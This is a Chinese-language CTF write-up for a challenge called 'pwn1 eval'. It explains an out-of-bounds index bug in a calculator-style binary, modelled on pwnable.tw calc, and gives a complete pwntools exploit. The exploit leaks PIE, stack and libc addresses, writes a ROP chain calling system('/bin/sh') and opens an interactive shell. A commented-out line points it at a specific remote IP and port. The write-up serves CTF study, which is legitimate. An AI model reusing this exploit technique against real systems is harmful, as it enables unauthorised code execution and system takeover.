# pwn1 eval

漏洞利用参考:

https://xuanxuanblingbling.github.io/ctf/pwn/2020/02/01/calc/

https://juniorprincewang.github.io/2017/10/01/pwnable-tw 之 calc/

https://lonmar.cn/2022/02/23/pwnabletw-calc/

#

漏洞原理( pwnable.tw calc ):

打印 a1[a1[3] + 3] (实际为 a1[a1[3]+2] )

因为在打印前有个 --a1[3] ,所以打印的 a1[a1[3]+3] ,实际上为原本的 a1[a1[3]+2] 的值,也就是我们输入的第一个数值

实际上是将打印的数组索引 a1[3]+2 的值修改为我们想要的偏移来打印对应的地址

加法:

c
a1[a1[3] + 2] += a1[a1[3] + 3] //a1 [3]+2 存放的是操作数个数
a1[a1[3]+2]=a1[a1[3]+2]+a1[a1[3] + 3]
// 这里要将 a1 [3]+2 控制为我们想要的偏移
a1[a1[3]+2]=a1[3]+2时我们修改a1[a1[3]+2]的值也就是修改a1[3]+2的值
// 变相的要控制 a1 [3] 的值
要让a1[a1[3]+2]=a1[3]+2成立,这样进行a1[a1[3]+2]=a1[a1[3]+2]+a1[a1[3] + 3]也就相当于 a1[3]+2=....+[a1[3] + 3]
a1[a1[3]]

符号栈在输入值的地址 - 0x20 处

a1[a2[]]

偏移算起来有点绕,可以通过 gdb 调试来确定偏移量

首先查看栈内容(输入的是 9+9

查看栈空间

由上面的知道了偏移为 52,可以计算得到 libc 地址,我们还需要泄露地址来得到 pie 基地址

向上偏移 10 可以泄露地址,然后减去 pie 的偏移(低地址不变),得到 pie 基址,利用该基址通过 Ropgadget 计算得到 rdi_ret 的地址

然后就可以构造 rop 链了

exp:

n
from pwn import *
e = ELF('./eval')
libc = ELF('./libc.so.6')
p = process('./eval')
#p = remote("8.130.74.108", 32199)
context.arch = 'amd64'
# context.log_level = 'debug'
# leak pie
p.sendline(b"-10")
leak = int(p.recvline(), 10)
success("leak: " + hex(leak))
pie_base = leak - 0x1060 # 0x1060 is the offset of `push    r15` in pie
success("pie_base: " + hex(pie_base))
# leak stack
p.sendline(b"-9")
leak = int(p.recvline(), 10)
success("leak: " + hex(leak))
stack_addr = leak - 0x1fd81
success("stack_addr: " + hex(stack_addr))
# leak libc
p.sendline(b"+52")
leak = int(p.recvline(), 10)
success("leak: " + hex(leak))
libc_base = leak - 0x24083
success("libc_base: " + hex(libc_base))
# rbp 对应 `+51`
# p.sendline(f"+50+{0xf93 + pie_base}")
# p.sendline(f"+49{canary}")
p_rdi_ret = 0x0000000000023b6a + libc_base
bin_sh = libc_base + libc.search(b"/bin/sh").__next__()
system = libc_base + libc.sym["system"]
ret = 0x0000000000022679 + libc_base
# 布置 system ("/bin/sh")
rop_chain = [
    p_rdi_ret,
    bin_sh,
    system
]
p.sendline(f"+54+{system}")
p.sendline(f"+53+{ret}")
p.sendline(f"+52+{bin_sh}")
# print(p.pid)
# input("pause")
p.sendline(f"+51+{p_rdi_ret}")
# p.sendline(f"+49{canary}")
# print(p.pid)
# input("pause")
# 触发正常的 ret
p.sendline()
p.interactive()